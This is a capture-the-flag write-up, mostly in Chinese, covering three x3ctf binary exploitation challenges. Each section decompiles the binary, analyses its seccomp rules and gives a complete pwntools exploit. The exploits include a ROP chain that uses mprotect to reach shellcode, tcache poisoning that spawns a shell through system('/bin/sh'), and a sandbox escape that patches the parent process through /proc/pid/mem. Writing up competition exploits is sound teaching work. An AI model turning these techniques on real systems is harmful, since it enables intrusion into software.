x3ctf
pwn
devnull-as-a-service
description
A few months ago, I came across this website. Inspired by it, I decided to recreate the service in C to self-host it.
To avoid any exploitable vulnerabilities, I decided to use a very strict seccomp filter. Even if my code were vulnerable, good luck exploiting it.
PS: You can find the flag at /home/ctf/flag.txt
on the remote server.
程序逻辑很简单,gets栈溢出,静态链接没有pie但是开启了seccomp
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
dev_null();
return 0;
}
__int64 dev_null()
{
char v1[8]; // [rsp+8h] [rbp-8h] BYREF
puts("[/dev/null as a service] Send us anything, we won't do anything with it.");
enable_seccomp();
return gets(v1);
}
seccomp规则,可以使用openat代替open然后read wrtie将flag读出来
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1c 0xc000003e if (A != ARCH_X86_64) goto 0030
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x19 0xffffffff if (A != 0xffffffff) goto 0030
0005: 0x15 0x18 0x00 0x00000002 if (A == open) goto 0030
0006: 0x15 0x17 0x00 0x00000003 if (A == close) goto 0030
0007: 0x15 0x16 0x00 0x00000012 if (A == pwrite64) goto 0030
0008: 0x15 0x15 0x00 0x00000014 if (A == writev) goto 0030
0009: 0x15 0x14 0x00 0x00000016 if (A == pipe) goto 0030
0010: 0x15 0x13 0x00 0x00000020 if (A == dup) goto 0030
0011: 0x15 0x12 0x00 0x00000021 if (A == dup2) goto 0030
0012: 0x15 0x11 0x00 0x00000028 if (A == sendfile) goto 0030
0013: 0x15 0x10 0x00 0x00000029 if (A == socket) goto 0030
0014: 0x15 0x0f 0x00 0x0000002c if (A == sendto) goto 0030
0015: 0x15 0x0e 0x00 0x0000002e if (A == sendmsg) goto 0030
0016: 0x15 0x0d 0x00 0x00000031 if (A == bind) goto 0030
0017: 0x15 0x0c 0x00 0x00000038 if (A == clone) goto 0030
0018: 0x15 0x0b 0x00 0x00000039 if (A == fork) goto 0030
0019: 0x15 0x0a 0x00 0x0000003a if (A == vfork) goto 0030
0020: 0x15 0x09 0x00 0x0000003b if (A == execve) goto 0030
0021: 0x15 0x08 0x00 0x00000065 if (A == ptrace) goto 0030
0022: 0x15 0x07 0x00 0x00000113 if (A == splice) goto 0030
0023: 0x15 0x06 0x00 0x00000114 if (A == tee) goto 0030
0024: 0x15 0x05 0x00 0x00000124 if (A == dup3) goto 0030
0025: 0x15 0x04 0x00 0x00000125 if (A == pipe2) goto 0030
0026: 0x15 0x03 0x00 0x00000128 if (A == pwritev) goto 0030
0027: 0x15 0x02 0x00 0x00000137 if (A == process_vm_writev) goto 0030
0028: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0030
0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0030: 0x06 0x00 0x00 0x00000000 return KILL
但是程序中找不到syscall ;ret 这类gadget,需要连续三次系统调用,想了一下直接用mprotect将bss的权限改成r | w | x的,往里面写orw_assemble直接跳过去就好了
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "cbcff503-864f-49dc-9196-00d2958e5668.x3c.tf"
PORT = 31337
elf = context.binary = ELF('./dev_null')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
# p = process('./dev_null')
p = remote(IP, PORT, ssl=True)
pop_rax_ret = 0x000000000042193c
pop_rdi_ret = 0x0000000000413795
pop_rsi_rbp_ret = 0x0000000000402acc
pop_rdx = 0x000000000046ddce # 0x000000000046ddce : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
bss = 0x4ae000
gets = 0x405A20
mprotect = 0x41AAF0
main = 0x401EA7
# mrpotect(bss,0x1000,7) r | w | x
payload = b'a' * 0x10
payload += p64(pop_rdx) + p64(0x7) + p64(0) + p64(0) + p64(0) + p64(0)
payload += p64(pop_rdi_ret) + p64(bss) + p64(pop_rsi_rbp_ret) + p64(0x2000) + p64(0)
payload += p64(mprotect) + p64(main)
sla("[/dev/null as a service]",payload)
# read orw_asm & jmp orw_asm
payload = b'a' * 0x10
payload += p64(pop_rdi_ret) + p64(bss + 0x100) + p64(gets) + p64(bss + 0x100 + 0x10)
sla("[/dev/null as a service]",payload)
payload = b'./flag.txt'
payload = payload.ljust(0x10,b'\x00')
payload += asm('''
mov eax,257
mov edi,0xffffff9c
mov esi,0x4ae100
xor edx,edx
syscall
mov eax,0
mov edi,3
mov esi,0x4ae000
mov edx,0x30
syscall
mov eax,1
mov edi,1
mov esi,0x4ae000
mov edx,0x30
syscall
''')
# g(p)
sl(payload)
p.interactive()
pwny-heap
description
ponys like the heap so i made pwny heap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
glibc 2.35的堆,程序逻辑
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+0h] [rbp-10h] BYREF
int v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
sub_1269();
v4 = 0;
printf("> ");
__isoc99_scanf("%d", &v4);
if ( v4 == 5 )
return 0LL;
if ( v4 > 5 )
goto LABEL_15;
if ( v4 == 1 )
{
sub_137D();
}
else if ( v4 <= 0 || (unsigned int)(v4 - 2) > 2 )
{
LABEL_15:
printf("invalid option...");
}
else
{
v5 = sub_12A7();
if ( v4 == 2 )
{
sub_147A((char *)&unk_4060 + 24 * v5);
}
else if ( v4 == 3 )
{
sub_1283();
sub_14A4((char *)&unk_4060 + 24 * v5);
}
else
{
sub_14D5((char *)&unk_4060 + 24 * v5);
}
}
}
}
__int64 sub_12A7()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("index: ");
__isoc99_scanf("%d", &v1);
return v1;
}
int sub_1283()
{
int result; // eax
do
result = getchar();
while ( result != 10 && result != -1 );
return result;
}
int sub_1283()
{
int result; // eax
do
result = getchar();
while ( result != 10 && result != -1 );
return result;
}
_BYTE *sub_137D()
{
_BYTE *result; // rax
unsigned int v1; // [rsp+4h] [rbp-Ch]
__int64 size; // [rsp+8h] [rbp-8h]
v1 = sub_12A7();
size = sub_1311();
result = (_BYTE *)sub_1283();
if ( v1 <= 0x13 && size )
{
if ( dword_4240 > 18 )
{
printf("ur bad, try again...");
exit(0);
}
++dword_4240;
*((_QWORD *)&unk_4060 + 3 * (int)v1) = malloc(size);
*((_QWORD *)&unk_4068 + 3 * (int)v1) = size;
result = byte_4070;
byte_4070[24 * v1] = 0;
}
return result;
}
__int64 __fastcall sub_147A(__int64 a1)
{
__int64 result; // rax
free(*(void **)a1);
result = a1;
*(_BYTE *)(a1 + 16) = 1;
return result;
}
int __fastcall sub_14A4(const char **a1)
{
return printf("here is some data for you buddy: %s", *a1);
}
int __fastcall sub_14D5(const char **a1)
{
if ( *((_BYTE *)a1 + 16) == 1 )
{
puts("that won't work...");
exit(0);
}
printf("write something in: ");
sub_1283();
fgets((char *)*a1, (int)a1[1], stdin);
return printf("%s", *a1);
}
有uaf但是存在一个自定义的inuse标志位,在写数据的时候会检查这个标志位,可以通过ptmalloc分配策略绕过这个标志位的检查,在某某大小的bin为空的情况下,可以通过create(0,0x78) delete(0) create(1,0x78) 这个方法让chunklist中有两个相同的地址,但是标志位不同的堆块,之后就可以编辑free状态的堆块了.
放两个堆块进unsortedbin,一个用于泄露libc 一个用于泄露堆地址,拿到堆地址后就可以绕过safe link用tcache poison实现任意地址申请,首先泄露environ的地址拿到栈地址,然后申请到main函数栈帧覆盖main的返回地址 往里面写rop 最后 exit触发rop getshell
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "784b6860-8a10-42ee-b739-353dc844ff01.x3c.tf"
PORT = 31337
elf = context.binary = ELF('./pwny-heap')
libc = elf.libc
def connect():
return remote(IP, PORT,ssl=True) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
p = connect()
def create(idx,size):
sla(">","1")
sla("index:",str(idx))
sla("size:",str(size))
def delete(idx):
sla(">","2")
sla("index:",str(idx))
def show(idx):
sla(">","3")
sla("index:",str(idx))
def edit(idx,content):
sla(">","4")
sla("index:",str(idx))
sa("write something in:",content)
create(0,0x508)
create(1,0x88)
create(2,0x508)
create(3,0x88)
delete(0)
delete(2)
show(0)
ru("here is some data for you buddy: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d193e1ace0 - 0x73d193c00000)
log.info(f"libc_base: {hex(libc_base)}")
show(2)
ru("here is some data for you buddy: ")
heap_base = u64(r(6).ljust(8,b'\x00')) - (0x624da112c290 - 0x624da112c000)
log.info(f"heap_base: {hex(heap_base)}")
# reset
create(0,0x508)
create(2,0x508)
create(4,0x88)
delete(4)
create(5,0x88) # chunklist[4] == chunklist[5]
create(6,0x88)
# 5 -> 6
delete(6)
delete(4)
pos = heap_base + (0x5c2ff55adde0 - 0x5c2ff55ad000)
target = libc_base + libc.sym['__environ']
edit(5,p64((pos >> 12) ^ target) +b'\n') # tcache poisoning
create(4,0x88)
create(6,0x88) # environ
show(6)
ru("here is some data for you buddy: ")
stack = u64(r(6).ljust(8,b'\x00'))
log.info(f"stack: {hex(stack)}")
create(7,0x78)
delete(7)
create(8,0x78)
create(9,0x78)
delete(9)
delete(7)
pos = heap_base + (0x62bb4e2a1f00 - 0x62bb4e2a1000)
target = stack - (0x7fffb0f9d598 - 0x7fffb0f9d450 - 0x20) # main_return_address
edit(8,p64((pos >> 12) ^ target) + b'\n')
create(9,0x78)
create(7,0x78) # tcache poisoning
pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000baaf9
payload = b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
payload = payload.ljust(0x77,b'a') + b'\n'
edit(7,payload)
sla(">","5")
p.interactive()
secure-sandbox
description
I love to make little games. But this time something seems to be different. If you win you might even get a flag…
no pie
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v9; // [rsp+Ch] [rbp-1014h]
char v10[16]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v11; // [rsp+1018h] [rbp-8h]
v11 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2LL, 0LL);
setvbuf(stdout, 0LL, 2LL, 0LL);
setvbuf(stderr, 0LL, 2LL, 0LL);
title();
v3 = getpid();
printf((unsigned int)"\n[+] started hypervisor with pid: %d\n\n", v3, v4, v5, v6, v7);
puts("Your shellcode:");
v9 = read(0LL, v10, 4096LL);
setup_sandbox((__int64)v10, v9);
puts("thank you for trusting our product.");
return 0;
}
unsigned __int64 __fastcall setup_sandbox(__int64 a1, int a2)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int v11; // edx
int v12; // ecx
int v13; // r8d
int v14; // r9d
int v15; // [rsp+18h] [rbp-18h] BYREF
unsigned int v16; // [rsp+1Ch] [rbp-14h]
void (*v17)(void); // [rsp+20h] [rbp-10h]
unsigned __int64 v18; // [rsp+28h] [rbp-8h]
v18 = __readfsqword(0x28u);
v16 = fork();
if ( (int)v16 <= 0 )
{
printf((unsigned int)"[+] sandbox: executing shellcode with length: %d...\n", a2, v2, v3, v4, v5);
v17 = (void (*)(void))mmap64(0LL);
if ( v17 == (void (*)(void))-1LL )
{
puts("mmap failed.");
exit(1LL);
}
printf((unsigned int)"[+] sandbox: shellcode page: %p\n", (_DWORD)v17, v11, v12, v13, v14);
j_memcpy(v17, a1, a2);
setup_seccomp();
v17();
exit(0LL);
}
printf((unsigned int)"[+] hypervisor: started sandbox with pid: %d\n", v16, v2, v3, v4, v5);
puts("[*] hypervisor: waiting for sandbox to terminate...");
waitpid(v16, &v15, 0LL);
printf((unsigned int)"[+] hypervisor: sandbox finished with status code: %d\n", BYTE1(v15), v6, v7, v8, v9);
return v18 - __readfsqword(0x28u);
}
子进程中设置了seccomp bpf并且可以执行shellcode,bpf规则是
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0012
0006: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0012
0007: 0x15 0x04 0x00 0x00000003 if (A == close) goto 0012
0008: 0x15 0x03 0x00 0x00000008 if (A == lseek) goto 0012
0009: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0012
0010: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0012
0011: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
可以发现orw差个r,但有lseek系统调用且程序没有pie,seccomp的规则只在子进程中生效,可以利用linux映射到文件系统奇奇怪怪的接口,如open proc/pid/mem配合lseek去读写父进程中的内存,因为是在内核态进行的,所以text段 rdata这些用户态看来没有写权限的段也可以写,利用writev在waitpid地址后写shellcode
.text:0000000000401C8A E8 F1 77 04 00 call waitpid
.text:0000000000401C8A
.text:0000000000401C8F 8B 45 E8 mov eax, [rbp+var_18]
.text:0000000000401C92 C1 F8 08 sar eax, 8
.text:0000000000401C95 0F B6 C0 movzx eax, al
.text:0000000000401C98 89 C6 mov esi, eax
.text:0000000000401C9A 48 8D 05 9F 39 09 00 lea rax, aHypervisorSand ; "[+] hypervisor: sandbox finished with s"...
.text:0000000000401CA1 48 89 C7 mov rdi, rax
.text:0000000000401CA4 B8 00 00 00 00 mov eax, 0
.text:0000000000401CA9 E8 32 97 01 00 call printf
.text:0000000000401CA9
.text:0000000000401CAE 90 nop
.text:0000000000401CAF 48 8B 45 F8 mov rax, [rbp+var_8]
.text:0000000000401CB3 64 48 2B 04 25 28 00 00 00 sub rax, fs:28h
.text:0000000000401CBC 0F 84 BD 00 00 00 jz locret_401D7F
.text:0000000000401CBC
.text:0000000000401CC2 E9 B3 00 00 00 jmp loc_401D7A
writev需要构造一个iovec的结构体,shellcode的构造可以低地址写字符串,结构体以及shellcode,高地址写open lseek writev的系统调用,之间用相对偏移跳转链接
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "ce563048-c0fe-408f-90f4-6f35fa1de3f5.x3c.tf"
PORT = 31337
elf = context.binary = ELF('./chall')
libc = elf.libc
def connect():
return remote(IP, PORT,ssl=True) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
p = connect()
ru("[+] started hypervisor with pid: ")
pid = int(rl())
log.info(f"pid: {pid}")
shellcode = asm('''
lea r15,[rip]
and r15,0xffffffffffffff00
''')
shellcode = shellcode.ljust(0x10,b'\x90')
shellcode += asm('''
jmp $+0xf0
''')
shellcode = shellcode.ljust(0x20,b'\x90')
shellcode += b'/proc/'+str(pid).encode()+b'/mem\x00' # r15 + 0x20
shellcode = shellcode.ljust(0x30,b'\x90')
# struct iovec {
# void *iov_base;
# size_t iov_len;
# };
shellcode += p64(0x114514) + p64(0x40) # r15 + 0x30
shellcode = shellcode.ljust(0x40,b'\x90') # r15 + 0x40
shellcode += asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
shellcode = shellcode.ljust(0x100,b'\x90')
shellcode += asm('''
mov rax,2
mov rdi,r15
add rdi,0x20
mov rsi,2
syscall
mov r14,r15
add r14,0x40
mov [r15 + 0x30],r14
mov rax,8
mov rdi,3
mov rsi,0x401C8F
mov rdx,0
syscall
mov rax,20
mov rdi,3
mov rsi,r15
add rsi,0x30
mov rdx,1
syscall
mov rax,60
xor rdi,rdi
syscall
''')
# gdb_comm = "b *0x401D6E"
# gdb.attach(p,gdb_comm)
sla("Your shellcode:",shellcode)
p.interactive()